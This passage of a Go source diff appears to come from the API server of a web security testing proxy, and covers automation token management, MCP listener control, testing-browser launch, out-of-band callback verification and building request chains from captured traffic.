// touching grants, which is how an operator dismisses the "new capabilities
// available" badge deliberately rather than by accident.
func (s *APIServer) handleReviewAutomationToken(w http.ResponseWriter, r *http.Request) {
if !s.requireAutomation(w) {
return
}
// Reads no body; see requireLocalOrigin.
if !requireLocalOrigin(w, r) {
return
}
fp := s.capRegistry.Fingerprint()
v := s.buildInfo.Version
tok, err := s.autoStore.Update(r.PathValue("id"), automation.UpdateParams{
CapsFingerprint: &fp, GrantedAtVersion: &v,
})
if err != nil {
s.writeTokenErr(w, err)
return
}
writeJSON(w, http.StatusOK, map[string]any{"token": tok})
}
func (s *APIServer) handleRevokeAutomationToken(w http.ResponseWriter, r *http.Request) {
if !s.requireAutomation(w) {
return
}
id := r.PathValue("id")
if err := s.autoStore.Revoke(id); err != nil {
s.writeTokenErr(w, err)
return
}
// Drop the limiter state so a future token cannot inherit a drained bucket, and
// the session cookies it accumulated.
s.capRegistry.Forget(id)
s.capContexts.Reset(id)
writeJSON(w, http.StatusOK, map[string]string{"status": "revoked"})
}
func (s *APIServer) handleListCapabilities(w http.ResponseWriter, r *http.Request) {
if !s.requireAutomation(w) {
return
}
caps := s.capRegistry.All()
out := make([]capabilityView, 0, len(caps))
for _, c := range caps {
out = append(out, capabilityView{
ID: c.ID, Class: string(c.Class), Title: c.Title, Description: c.Description,
Mutating: c.Mutating, SendsTraffic: c.SendsTraffic,
UnrestrictedOnly: c.UnrestrictedOnly,
Privileged: c.Privileged,
InputSchema: c.InputSchema,
MaxOutputBytes: c.MaxOutputBytes,
ToolName: strings.ReplaceAll(c.ID, ".", "_"),
})
}
writeJSON(w, http.StatusOK, map[string]any{
"capabilities": out,
"fingerprint": s.capRegistry.Fingerprint(),
"classes": capability.Classes,
// Profiles are curated grant bundles the picker expands into a concrete ID
// list on create. They are never stored on the token, so a profile that gains
// a capability later does not widen a token issued today.
"profiles": capreg.BuiltProfiles(),
})
}
func (s *APIServer) handleListAutomationAudit(w http.ResponseWriter, r *http.Request) {
if !s.requireAutomation(w) {
return
}
q := r.URL.Query()
offset, _ := strconv.Atoi(q.Get("offset"))
limit, _ := strconv.Atoi(q.Get("limit"))
if limit <= 0 {
limit = 100
}
limit = min(limit, 1000)
entries, total := s.capAudit.List(capability.AuditFilter{
TokenID: q.Get("tokenId"),
Capability: q.Get("capability"),
Result: q.Get("result"),
Offset: offset,
Limit: limit,
})
// The dashboard widget wants counts, not rows; computing them here saves it a
// second request and keeps the window definition in one place.
total1h, denied1h, errors1h := s.capAudit.Stats(time.Now().Add(-time.Hour))
writeJSON(w, http.StatusOK, map[string]any{
"entries": entries,
"total": total,
"offset": offset,
"limit": limit,
"stats": map[string]int{
"lastHour": total1h,
"deniedLastHour": denied1h,
"errorsLastHour": errors1h,
"tokens": s.autoStore.Count(),
"tokensActive": s.activeTokenCount(),
},
})
}
func (s *APIServer) activeTokenCount() int {
now := time.Now()
n := 0
for _, t := range s.autoStore.List() {
if t.Usable(now) {
n++
}
}
return n
}
func (s *APIServer) handleClearAutomationAudit(w http.ResponseWriter, r *http.Request) {
if !s.requireAutomation(w) {
return
}
writeJSON(w, http.StatusOK, map[string]int{"deleted": s.capAudit.Clear()})
}
func (s *APIServer) handleGetMCPState(w http.ResponseWriter, r *http.Request) {
if !s.requireAutomation(w) {
return
}
writeJSON(w, http.StatusOK, s.mcpState())
}
func (s *APIServer) handleSetMCPState(w http.ResponseWriter, r *http.Request) {
if !s.requireAutomation(w) {
return
}
var body struct {
Enabled *bool `json:"enabled"`
Port *int `json:"port"`
}
if err := decodeAutomationJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
// Serialize start/stop: two concurrent PUTs could otherwise both see "not
// running" and race the bind.
s.automationMu.Lock()
defer s.automationMu.Unlock()
state := s.autoStore.MCP()
if body.Port != nil {
if *body.Port < 1 || *body.Port > 65535 {
writeError(w, http.StatusBadRequest, "port must be between 1 and 65535")
return
}
if *body.Port == s.cfg.UIPort || *body.Port == s.cfg.ProxyPort {
writeError(w, http.StatusBadRequest,
fmt.Sprintf("port %d is already used by Joro's UI or proxy", *body.Port))
return
}
state.Port = *body.Port
}
if body.Enabled != nil {
state.Enabled = *body.Enabled
}
// Always stop first: this makes a port change a single atomic action from the
// operator's point of view rather than a stop they have to remember.
if err := s.stopMCPListener(); err != nil {
writeError(w, http.StatusInternalServerError, "stopping the MCP listener: "+err.Error())
return
}
if state.Enabled {
if err := s.startMCPListener(state.Port); err != nil {
// Do not persist Enabled when the bind failed — the UI would then
// show "enabled" with nothing listening, and a restart would retry
// a port the operator never saw fail.
writeError(w, http.StatusConflict, err.Error())
return
}
}
if err := s.autoStore.SetMCP(state); err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
writeJSON(w, http.StatusOK, s.mcpState())
}
// ---- validation. The UI is not a control; everything it can send is checked here.
func (s *APIServer) validateTokenInput(name string, grants, hostAllow []string, rate, conc, out, days int) error {
if n := strings.TrimSpace(name); n == "" || len(n) > automation.MaxNameLen {
return fmt.Errorf("name must be 1-%d characters", automation.MaxNameLen)
}
if err := s.validateGrants(grants); err != nil {
return err
}
if err := validateHostAllow(hostAllow); err != nil {
return err
}
if err := validateLimits(rate, conc, out); err != nil {
return err
}
if days < 0 || days > automation.MaxExpiryDays {
return fmt.Errorf("expiresInDays must be between 0 and %d", automation.MaxExpiryDays)
}
return nil
}
// validateGrants rejects unknown and reserved capability IDs.
//
// The reserved check is redundant with the registry's own — a reserved ID cannot
// be registered, so it would already fail the unknown check — but it produces a
// message that explains the policy rather than one that says "unknown", which is
// what an operator hand-crafting a request needs to read.
func (s *APIServer) validateGrants(grants []string) error {
var unknown, reserved []string
known := make(map[string]struct{})
for _, id := range s.capRegistry.IDs() {
known[id] = struct{}{}
}
for _, g := range grants {
g = strings.TrimSpace(g)
if g == "" {
continue
}
if capability.IsReserved(g) {
reserved = append(reserved, g)
continue
}
if _, ok := known[g]; !ok {
unknown = append(unknown, g)
}
}
if len(reserved) > 0 {
return fmt.Errorf("these grants are in reserved namespaces and can never be granted: %s. "+
"Token and grant management is available only in this interface", strings.Join(reserved, ", "))
}
if len(unknown) > 0 {
return fmt.Errorf("unknown capabilities: %s", strings.Join(unknown, ", "))
}
return nil
}
func validateHostAllow(patterns []string) error {
for _, p := range patterns {
p = strings.TrimSpace(p)
if p == "" {
continue
}
// filepath.Match only reports a bad pattern when it actually parses one,
// so match against a throwaway string to surface ErrBadPattern.
if _, err := filepath.Match(p, "example.com"); err != nil {
return fmt.Errorf("invalid host pattern %q: %v", p, err)
}
}
return nil
}
func validateLimits(rate, conc, out int) error {
if rate != 0 && (rate < automation.MinRateLimitPerMin || rate > automation.MaxRateLimitPerMin) {
return fmt.Errorf("rateLimitPerMin must be between %d and %d",
automation.MinRateLimitPerMin, automation.MaxRateLimitPerMin)
}
if conc != 0 && (conc < automation.MinMaxConcurrent || conc > automation.MaxMaxConcurrent) {
return fmt.Errorf("maxConcurrent must be between %d and %d",
automation.MinMaxConcurrent, automation.MaxMaxConcurrent)
}
if out != 0 && (out < automation.MinOutputBytes || out > automation.MaxOutputBytes) {
return fmt.Errorf("maxOutputBytes must be between %d and %d",
automation.MinOutputBytes, automation.MaxOutputBytes)
}
return nil
}
func normalizeGrants(grants []string) []string {
seen := make(map[string]struct{}, len(grants))
out := make([]string, 0, len(grants))
for _, g := range grants {
g = strings.TrimSpace(g)
if g == "" || capability.IsReserved(g) {
continue
}
if _, dup := seen[g]; dup {
continue
}
seen[g] = struct{}{}
out = append(out, g)
}
sort.Strings(out)
return out
}
func normalizeHostAllow(patterns []string) []string {
out := make([]string, 0, len(patterns))
for _, p := range patterns {
if p = strings.TrimSpace(strings.ToLower(p)); p != "" {
out = append(out, p)
}
}
return out
}
func (s *APIServer) writeTokenErr(w http.ResponseWriter, err error) {
if errors.Is(err, automation.ErrNotFound) {
writeError(w, http.StatusNotFound, "token not found")
return
}
writeError(w, http.StatusInternalServerError, err.Error())
}
func deref(p *int) int {
if p == nil {
return 0
}
return *p
}
+120
View File
@@ -0,0 +1,120 @@
package api
import (
"fmt"
"net/http"
"path/filepath"
"github.com/BishopFox/joro/internal/browser"
)
func (s *APIServer) handleBrowserStatus(w http.ResponseWriter, r *http.Request) {
_, name, ok := browser.Find()
writeJSON(w, http.StatusOK, map[string]any{
"available": ok,
"browser": name,
})
}
func (s *APIServer) handleBrowserLaunch(w http.ResponseWriter, r *http.Request) {
if s.ca == nil {
writeError(w, http.StatusBadRequest, "CA not initialised")
return
}
var body struct {
URL string `json:"url"`
}
// Optional: launching with no start URL is the common case. A body that was sent and
// could not be read is reported rather than ignored — silently launching at the
// default page would look like the requested URL was simply refused.
if err := decodeJSONOptional(r, &body, maxJSONBody); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
path, name, ok := browser.Find()
if !ok {
writeError(w, http.StatusBadRequest, "no supported browser found")
return
}
key, profileDir, ephemeral := s.browserProfile()
host := s.cfg.BindAddr
if host == "" || host == "0.0.0.0" {
host = "127.0.0.1"
}
err := browser.Launch(browser.LaunchOptions{
BrowserPath: path,
ProxyAddr: fmt.Sprintf("%s:%d", host, s.cfg.ProxyPort),
SPKIFingerprint: browser.SPKIFingerprint(s.ca.Cert),
ProfileDir: profileDir,
URL: body.URL,
WipeOnExit: ephemeral,
})
if err != nil {
writeError(w, http.StatusInternalServerError, "failed to launch browser: "+err.Error())
return
}
writeJSON(w, http.StatusOK, map[string]string{
"status": "launched",
"browser": name,
"profile": key,
})
}
// handleClearBrowserCookies removes the cookie databases from the current
// project's testing-browser profile only (not the operator's own browser).
func (s *APIServer) handleClearBrowserCookies(w http.ResponseWriter, r *http.Request) {
key, profileDir, _ := s.browserProfile()
if err := browser.ClearCookies(profileDir); err != nil {
writeError(w, http.StatusInternalServerError, "failed to clear cookies: "+err.Error())
return
}
writeJSON(w, http.StatusOK, map[string]string{
"status": "cleared",
"profile": key,
})
}
// browserProfile returns the sanitized profile key, its directory, and whether
// the profile is ephemeral for the active project. State never carries across
// projects; with no project loaded the profile is "default" and ephemeral (the
// caller wipes it when the browser closes).
func (s *APIServer) browserProfile() (key, dir string, ephemeral bool) {
s.mu.RLock()
active := s.activeProjectConfig
s.mu.RUnlock()
ephemeral = active == ""
key = sanitizeProfileKey(active)
return key, s.profileDirFor(active), ephemeral
}
// profileDirFor maps a project name to its testing-browser profile directory.
// The empty name is the no-project "default" profile. Every caller that needs a
// profile path goes through here, so the name-to-directory mapping has one
// definition — deleting a project's profile must resolve to the same directory
// the launch created.
func (s *APIServer) profileDirFor(project string) string {
return filepath.Join(s.cfg.DataDir, "browser-profiles", sanitizeProfileKey(project))
}
// sanitizeProfileKey maps a project name to a filesystem-safe directory name.
func sanitizeProfileKey(s string) string {
out := make([]rune, 0, len(s))
for _, r := range s {
switch {
case r >= 'a' && r <= 'z', r >= 'A' && r <= 'Z', r >= '0' && r <= '9', r == '-', r == '_':
out = append(out, r)
default:
out = append(out, '_')
}
}
if len(out) == 0 {
return "default"
}
return string(out)
}
+39 -27
View File
@@ -1,7 +1,6 @@
package api
import (
"encoding/json"
"fmt"
"io"
"net/http"
@@ -12,15 +11,20 @@ import (
"github.com/BishopFox/joro/internal/callback"
)
// proxyToListener forwards a request to the remote listener and copies the response back.
// Returns true if the response was handled (either forwarded or errored).
// proxyToListener forwards a request to the remote listener and writes its status and body
// back. Returns true if the response was handled (either forwarded or errored).
//
// Response headers are not copied. Every route reaching this function returns JSON, so the
// content type is set here, and the body is copied whole rather than capped — a response
// may carry a screenshot as a data: URI inside its JSON. The client timeout below bounds
// the transfer.
func (s *APIServer) proxyToListener(w http.ResponseWriter, r *http.Request) bool {
s.mu.RLock()
listenerURL := s.settings.ListenerURL
s.mu.RUnlock()
if listenerURL == "" {
writeError(w, http.StatusServiceUnavailable, "Listener URL not configured - set it in the Interact tab")
writeError(w, http.StatusServiceUnavailable, "Listener URL not configured - set it in Settings > Project > Team Server")
return true
}
@@ -55,12 +59,7 @@ func (s *APIServer) proxyToListener(w http.ResponseWriter, r *http.Request) bool
}
defer resp.Body.Close()
// Copy response headers and body back.
for k, vv := range resp.Header {
for _, v := range vv {
w.Header().Add(k, v)
}
}
w.Header().Set("Content-Type", "application/json")
w.WriteHeader(resp.StatusCode)
io.Copy(w, resp.Body) //nolint:errcheck
return true
@@ -90,7 +89,7 @@ func (s *APIServer) handleCreateToken(w http.ResponseWriter, r *http.Request) {
var body struct {
Note string `json:"note"`
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
@@ -102,6 +101,35 @@ func (s *APIServer) handleCreateToken(w http.ResponseWriter, r *http.Request) {
writeJSON(w, http.StatusCreated, token)
}
// handleVerifyCallback confirms that a value observed out of band (reflected in a
// target response, read from a protocol field) is the response hash this server
// derives for a token — so OAST tooling can validate a hit without reimplementing
// the derivation. The derivation is public (sha256 of the token), so this leaks
// nothing; it exists to spare clients the reimplementation and to return the
// owning token's ID when the value matches a live token.
func (s *APIServer) handleVerifyCallback(w http.ResponseWriter, r *http.Request) {
if !s.listenerMode {
s.proxyToListener(w, r)
return
}
var body struct {
Token string `json:"token"`
Value string `json:"value"`
}
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
valid := body.Token != "" && callback.ResponseHash(body.Token) == strings.TrimSpace(body.Value)
resp := map[string]any{"valid": valid}
if valid {
if tok, err := s.cbStore.FindTokenByHex(body.Token); err == nil {
resp["tokenId"] = tok.ID
}
}
writeJSON(w, http.StatusOK, resp)
}
func (s *APIServer) handleDeleteToken(w http.ResponseWriter, r *http.Request) {
if !s.listenerMode {
s.proxyToListener(w, r)
@@ -169,22 +197,6 @@ func (s *APIServer) handleGetCallbackConfig(w http.ResponseWriter, r *http.Reque
writeJSON(w, http.StatusOK, cfg)
}
func (s *APIServer) handleUpdateCallbackConfig(w http.ResponseWriter, r *http.Request) {
if !s.listenerMode {
s.proxyToListener(w, r)
return
}
var cfg callback.CallbackConfig
if err := json.NewDecoder(r.Body).Decode(&cfg); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
if err := s.cbStore.SetConfig(&cfg); err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
writeJSON(w, http.StatusOK, cfg)
}
func (s *APIServer) handleGetMode(w http.ResponseWriter, r *http.Request) {
mode := "proxy"
if s.teamServerMode {
+636
View File
@@ -0,0 +1,636 @@
package api
import (
"encoding/base64"
"fmt"
"net/http"
"sort"
"strconv"
"strings"
"github.com/BishopFox/joro/internal/chain"
"github.com/BishopFox/joro/internal/httptools"
"github.com/BishopFox/joro/internal/proxy"
)
// maxRecordCandidates bounds what a record window hands back for trimming. A
// recording left running over a browsing session would otherwise return the whole
// capture ring.
const maxRecordCandidates = 500
func (s *APIServer) handleChainListChains(w http.ResponseWriter, r *http.Request) {
chains := s.chainStore.List()
out := make([]map[string]any, 0, len(chains))
for _, c := range chains {
out = append(out, chainSummaryBody(c))
}
writeJSON(w, http.StatusOK, map[string]any{"chains": out})
}
// chainSummaryBody is the list projection: enough to render the picker without
// shipping every step's raw bytes, which are megabytes across a project.
func chainSummaryBody(c *chain.Chain) map[string]any {
hosts := map[string]bool{}
for _, st := range c.Steps {
hosts[st.Host] = true
}
list := make([]string, 0, len(hosts))
for h := range hosts {
list = append(list, h)
}
sort.Strings(list)
return map[string]any{
"id": c.ID, "name": c.Name,
"steps": len(c.Steps), "bindings": len(c.Bindings),
"hosts": list, "createdAt": c.CreatedAt, "updatedAt": c.UpdatedAt,
}
}
func (s *APIServer) handleChainGetChain(w http.ResponseWriter, r *http.Request) {
c := s.chainStore.Get(r.PathValue("id"))
if c == nil {
writeError(w, http.StatusNotFound, "no such chain")
return
}
writeJSON(w, http.StatusOK, chainBody(c))
}
// chainBody renders a chain with its raws base64-encoded. Raw bytes are not
// JSON-safe and a captured request routinely is not UTF-8.
func chainBody(c *chain.Chain) map[string]any {
steps := make([]map[string]any, 0, len(c.Steps))
for _, st := range c.Steps {
steps = append(steps, map[string]any{
"id": st.ID, "label": st.Label, "scheme": st.Scheme, "host": st.Host,
"reqRaw": base64.StdEncoding.EncodeToString(st.ReqRaw),
"respRaw": base64.StdEncoding.EncodeToString(st.RespRaw),
"originSeq": st.OriginSeq, "setup": st.Setup, "edits": st.Edits,
"method": chain.MethodOf(st.ReqRaw),
})
}
return map[string]any{
"id": c.ID, "name": c.Name, "goalStepId": c.GoalStepID,
"steps": steps, "bindings": c.Bindings,
"createdAt": c.CreatedAt, "updatedAt": c.UpdatedAt,
}
}
// chainInput is the write shape. Raws arrive base64 for the same reason they
// leave that way.
type chainInput struct {
Name string `json:"name"`
GoalStepID string `json:"goalStepId"`
Steps []struct {
ID string `json:"id"`
Label string `json:"label"`
Scheme string `json:"scheme"`
Host string `json:"host"`
ReqRaw string `json:"reqRaw"`
RespRaw string `json:"respRaw"`
OriginSeq int `json:"originSeq"`
Setup bool `json:"setup"`
Edits []httptools.Edit `json:"edits"`
} `json:"steps"`
Bindings []chain.Binding `json:"bindings"`
}
func (in chainInput) toChain() (*chain.Chain, error) {
c := &chain.Chain{Name: in.Name, GoalStepID: in.GoalStepID, Bindings: in.Bindings}
for i, st := range in.Steps {
req, err := base64.StdEncoding.DecodeString(st.ReqRaw)
if err != nil {
return nil, fmt.Errorf("step %d: request is not valid base64", i+1)
}
resp, err := base64.StdEncoding.DecodeString(st.RespRaw)
if err != nil {
return nil, fmt.Errorf("step %d: response is not valid base64", i+1)
}
step := chain.Step{
ID: st.ID, Label: st.Label, Scheme: st.Scheme, Host: st.Host,
ReqRaw: req, RespRaw: resp, OriginSeq: st.OriginSeq, Setup: st.Setup,
Edits: st.Edits,
}
if step.Label == "" {
step.Label = chain.Label(req)
}
c.Steps = append(c.Steps, step)
}
return c, nil
}
func (s *APIServer) handleChainCreateChain(w http.ResponseWriter, r *http.Request) {
var in chainInput
if err := decodeJSONLimit(r, &in, maxBulkJSONBody); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
c, err := in.toChain()
if err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
chain.Reindex(c)
saved, err := s.chainStore.Create(c)
if err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
writeJSON(w, http.StatusCreated, chainBody(saved))
}
func (s *APIServer) handleChainUpdateChain(w http.ResponseWriter, r *http.Request) {
id := r.PathValue("id")
if s.chainStore.Get(id) == nil {
writeError(w, http.StatusNotFound, "no such chain")
return
}
var in chainInput
if err := decodeJSONLimit(r, &in, maxBulkJSONBody); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
c, err := in.toChain()
if err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
saved, err := s.chainStore.Update(id, c)
if err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
writeJSON(w, http.StatusOK, chainBody(saved))
}
func (s *APIServer) handleChainDeleteChain(w http.ResponseWriter, r *http.Request) {
// A run holds a snapshot of the chain, so deleting one does not disturb a run
// in flight and there is nothing to refuse here.
if !s.chainStore.Delete(r.PathValue("id")) {
writeError(w, http.StatusNotFound, "no such chain")
return
}
writeJSON(w, http.StatusOK, map[string]any{"deleted": true})
}
// chainFromHistoryRequest builds a chain out of selected History rows, or
// appends them to one that already exists.
type chainFromHistoryRequest struct {
Name string `json:"name"`
Seqs []int `json:"seqs"`
// ChainID appends to an existing chain instead of creating one. History has
// one selected row at a time, so a chain is built a step at a time; appending
// server-side is what lets correlation re-run over the extended chain and
// wire the new step to values the earlier ones already produce.
ChainID string `json:"chainId,omitempty"`
}
// handleChainFromHistory is the primary way a chain comes into existence.
//
// Rows are addressed by Seq rather than by id: it is the handle the capture store
// is indexed on, and the only one a client can hold across a page reload without
// carrying raw bytes through history.pushState.
func (s *APIServer) handleChainFromHistory(w http.ResponseWriter, r *http.Request) {
var req chainFromHistoryRequest
if err := decodeJSON(r, &req); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
if len(req.Seqs) == 0 {
writeError(w, http.StatusBadRequest, "select at least one request")
return
}
if len(req.Seqs) > chain.MaxSteps {
writeError(w, http.StatusBadRequest,
fmt.Sprintf("%d requests exceeds the limit of %d steps", len(req.Seqs), chain.MaxSteps))
return
}
// Ascending, because a chain is an ordering and the order the rows were
// clicked in is not it.
seqs := append([]int(nil), req.Seqs...)
sort.Ints(seqs)
// A non-positive seq is a malformed request, not an evicted one, and the two
// need different words. Reporting a client that sent 0 or null as "no longer
// in the capture buffer" sends whoever is debugging it to look at eviction,
// which is exactly the wrong place — and is how a client sending undefined
// went unnoticed.
for _, seq := range seqs {
if seq <= 0 {
writeError(w, http.StatusBadRequest,
"no valid request sequence numbers were supplied")
return
}
}
steps := make([]chain.Step, 0, len(seqs))
var missing []int
for _, seq := range seqs {
item := s.store.GetBySeq(seq)
if item == nil {
missing = append(missing, seq)
continue
}
steps = append(steps, chainStepFromCapture(item))
}
if len(steps) == 0 {
writeError(w, http.StatusBadRequest, "none of those requests are still in the capture buffer")
return
}
var saved *chain.Chain
var err error
if req.ChainID != "" {
existing := s.chainStore.Get(req.ChainID)
if existing == nil {
writeError(w, http.StatusNotFound, "no such chain")
return
}
existing.Steps = append(existing.Steps, steps...)
if len(existing.Steps) > chain.MaxSteps {
writeError(w, http.StatusBadRequest,
fmt.Sprintf("that would make %d steps, over the limit of %d", len(existing.Steps), chain.MaxSteps))
return
}
// Reindex before correlating: correlation records byte spans against step
// ids, so it has to run after the ids are final.
chain.Reindex(existing)
for i := range existing.Steps {
if existing.Steps[i].Label == "" {
existing.Steps[i].Label = chain.Label(existing.Steps[i].ReqRaw)
}
}
existing.Bindings = mergeBindings(existing.Bindings, chain.Correlate(existing))
saved, err = s.chainStore.Update(existing.ID, existing)
} else {
name := strings.TrimSpace(req.Name)
if name == "" {
name = "chain"
}
c := chain.New(name, steps)
// Correlate on the way in. A chain that arrives already wired is the
// difference between a usable artifact and a list of requests the
// operator has to hand-thread a CSRF token through.
c.Bindings = chain.Correlate(c)
saved, err = s.chainStore.Create(c)
}
if err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
resp := chainBody(saved)
if len(missing) > 0 {
resp["warning"] = fmt.Sprintf("%d selected requests were no longer in the capture buffer", len(missing))
}
writeJSON(w, http.StatusCreated, resp)
}
func chainStepFromCapture(item *proxy.CapturedRequest) chain.Step {
scheme := "https"
if strings.HasPrefix(strings.ToLower(item.URL), "http://") {
scheme = "http"
}
return chain.Step{
Scheme: scheme,
Host: item.Host,
ReqRaw: append([]byte(nil), item.ReqRaw...),
RespRaw: append([]byte(nil), item.RespRaw...),
OriginSeq: item.Seq,
}
}
// handleChainRecordStart returns the capture watermark to record from.
//
// Recording reads the store forward from a cursor rather than hooking the proxy,
// which is the arrangement internal/detect's scanner already documents: no second
// path through the capture hot loop, and nothing to unwind if the operator
// navigates away without stopping.
func (s *APIServer) handleChainRecordStart(w http.ResponseWriter, r *http.Request) {
writeJSON(w, http.StatusOK, map[string]any{"cursor": s.store.LastSeq()})
}
type chainRecordStopRequest struct {
Cursor int `json:"cursor"`
Host string `json:"host,omitempty"`
ScopeOnly bool `json:"scopeOnly,omitempty"`
}
// handleChainRecordStop returns the candidate rows captured since the cursor, for
// the operator to trim into steps. It creates nothing: a recording is a selection
// aid, and a chain built from unreviewed traffic is mostly analytics beacons.
func (s *APIServer) handleChainRecordStop(w http.ResponseWriter, r *http.Request) {
var req chainRecordStopRequest
if err := decodeJSON(r, &req); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
items := s.store.SinceSeq(req.Cursor, maxRecordCandidates)
host := strings.ToLower(strings.TrimSpace(req.Host))
out := make([]map[string]any, 0, len(items))
for _, it := range items {
if host != "" && !strings.Contains(strings.ToLower(it.Host), host) {
continue
}
if req.ScopeOnly && !s.scope.HostInScope(it.Host) {
continue
}
out = append(out, map[string]any{
"seq": it.Seq, "method": it.Method, "url": it.URL, "host": it.Host,
"status": it.StatusCode, "contentType": it.ContentType,
"size": it.ResponseSize, "timestamp": it.Timestamp,
"label": chain.Label(it.ReqRaw),
})
}
// Ascending: SinceSeq walks backwards from newest, and a recording reads
// forwards.
sort.Slice(out, func(i, j int) bool { return out[i]["seq"].(int) < out[j]["seq"].(int) })
writeJSON(w, http.StatusOK, map[string]any{"candidates": out, "cursor": s.store.LastSeq()})
}
// handleChainCorrelate proposes bindings and persists nothing.
//
// A proposal, like a render is a preview: correlation is a heuristic over
// entropy and literal occurrence, and writing its guesses straight into the chain
// would put the operator in the position of un-picking them.
func (s *APIServer) handleChainCorrelate(w http.ResponseWriter, r *http.Request) {
c := s.chainStore.Get(r.PathValue("id"))
if c == nil {
writeError(w, http.StatusNotFound, "no such chain")
return
}
// Re-keyed before they leave: the client appends accepted proposals straight
// into the open chain.
proposed := assignBindingIDs(c.Bindings, chain.Correlate(c))
// Report which proposals are new, so the UI can offer them without
// discarding bindings the operator has already accepted or hand-written.
existing := map[string]bool{}
for _, b := range c.Bindings {
existing[bindingKey(b)] = true
}
out := make([]map[string]any, 0, len(proposed))
for _, b := range proposed {
out = append(out, map[string]any{"binding": b, "isNew": !existing[bindingKey(b)]})
}
writeJSON(w, http.StatusOK, map[string]any{"proposed": out})
}
// mergeBindings keeps every existing binding and adds only proposals that are
// not already present.
//
// Additive rather than replacing, because a re-correlation must not discard a
// binding the operator hand-wrote, renamed, or set to send its recorded value.
func mergeBindings(existing, proposed []chain.Binding) []chain.Binding {
have := make(map[string]bool, len(existing))
for _, b := range existing {
have[bindingKey(b)] = true
}
fresh := make([]chain.Binding, 0, len(proposed))
for _, b := range proposed {
if have[bindingKey(b)] {
continue
}
fresh = append(fresh, b)
have[bindingKey(b)] = true
}
return append(append([]chain.Binding(nil), existing...), assignBindingIDs(existing, fresh)...)
}
// assignBindingIDs re-keys proposals against the ids a chain already holds.
//
// Correlate numbers from one every run, and a count of the existing bindings is
// not the next free id once one has been deleted — so the collision surfaces as
// a refused save, several clicks from the accept that caused it.
func assignBindingIDs(existing, proposed []chain.Binding) []chain.Binding {
taken := make(map[string]bool, len(existing))
for _, b := range existing {
taken[b.ID] = true
}
next := 1
out := make([]chain.Binding, 0, len(proposed))
for _, b := range proposed {
for {
id := "b" + strconv.Itoa(next)
next++
if !taken[id] {
b.ID = id
taken[id] = true
break
}
}
out = append(out, b)
}
return out
}
// bindingKey identifies a binding by what it does rather than by its id, so a
// re-run of correlation recognizes a proposal the operator already accepted.
func bindingKey(b chain.Binding) string {
var sb strings.Builder
sb.WriteString(b.FromStep)
sb.WriteString(">")
sb.WriteString(b.ToStep)
sb.WriteString(">")
sb.WriteString(b.Source.Kind)
sb.WriteString(":")
sb.WriteString(b.Source.Name)
sb.WriteString(b.Source.Path)
for _, sp := range b.Spans {
fmt.Fprintf(&sb, "@%d-%d", sp.Start, sp.End)
}
return sb.String()
}
// chainPreviewRequest renders a variant without sending it.
type chainPreviewRequest struct {
VariantID string `json:"variantId"`
Kinds []string `json:"kinds,omitempty"`
}
// handleChainPreview renders every step of one variant and never sends.
//
// The cheap way to confirm substitution is right before arming a sweep that
// creates real orders. Values a previous step would have produced are unknown
// here, so a step that consumes one renders as unresolved — which is exactly what
// the run would do, and is the point: the preview shows where an ordering breaks
// before it costs anything.
func (s *APIServer) handleChainPreview(w http.ResponseWriter, r *http.Request) {
c := s.chainStore.Get(r.PathValue("id"))
if c == nil {
writeError(w, http.StatusNotFound, "no such chain")
return
}
var req chainPreviewRequest
if err := decodeJSON(r, &req); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
variants := chain.GenerateVariants(c, req.Kinds)
var chosen *chain.Variant
for i := range variants {
if variants[i].ID == req.VariantID || req.VariantID == "" {
chosen = &variants[i]
break
}
}
if chosen == nil {
writeError(w, http.StatusNotFound, "no such variant")
return
}
// Seed the table with each binding's recorded value so the preview shows the
// substitution actually happening. A run resolves these from live responses;
// here there are none, and rendering every step unresolved would show the
// operator nothing about whether the spans are right.
vars := chain.Vars{}
for _, b := range c.Bindings {
vars[b.Var] = b.Recorded
}
steps := make([]map[string]any, 0, len(chosen.Steps))
for _, id := range chosen.Steps {
st, _, ok := c.StepByID(id)
if !ok {
continue
}
raw, missing, err := chain.Render(c, st, vars)
entry := map[string]any{"stepId": id, "label": st.Label}
switch {
case err != nil:
entry["error"] = err.Error()
case len(missing) > 0:
entry["missing"] = missing
default:
entry["raw"] = base64.StdEncoding.EncodeToString(raw)
}
steps = append(steps, entry)
}
writeJSON(w, http.StatusOK, map[string]any{"variant": chosen, "steps": steps})
}
// chainBindPreviewRequest is one operator-chosen value offered for binding.
//
// The value, not an offset: the pane shows the decoded response, whose offsets
// mean nothing against the recorded bytes. Base64 because a run of bytes out of
// a response is not reliably UTF-8.
type chainBindPreviewRequest struct {
FromStep string `json:"fromStep"`
Value string `json:"value"`
Occurrence int `json:"occurrence,omitempty"`
Source *chain.Source `json:"source,omitempty"`
ToSteps []string `json:"toSteps,omitempty"`
Spans map[string][]chain.Span `json:"spans,omitempty"`
}
// handleChainBindPreview proposes bindings for one value and persists nothing.
//
// A proposal, like correlation: nothing here is confirmed against a live
// response. It reuses correlation's envelope so the client has one accept path.
func (s *APIServer) handleChainBindPreview(w http.ResponseWriter, r *http.Request) {
c := s.chainStore.Get(r.PathValue("id"))
if c == nil {
writeError(w, http.StatusNotFound, "no such chain")
return
}
var req chainBindPreviewRequest
if err := decodeJSON(r, &req); err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
value, err := base64.StdEncoding.DecodeString(req.Value)
if err != nil {
writeError(w, http.StatusBadRequest, "value is not base64")
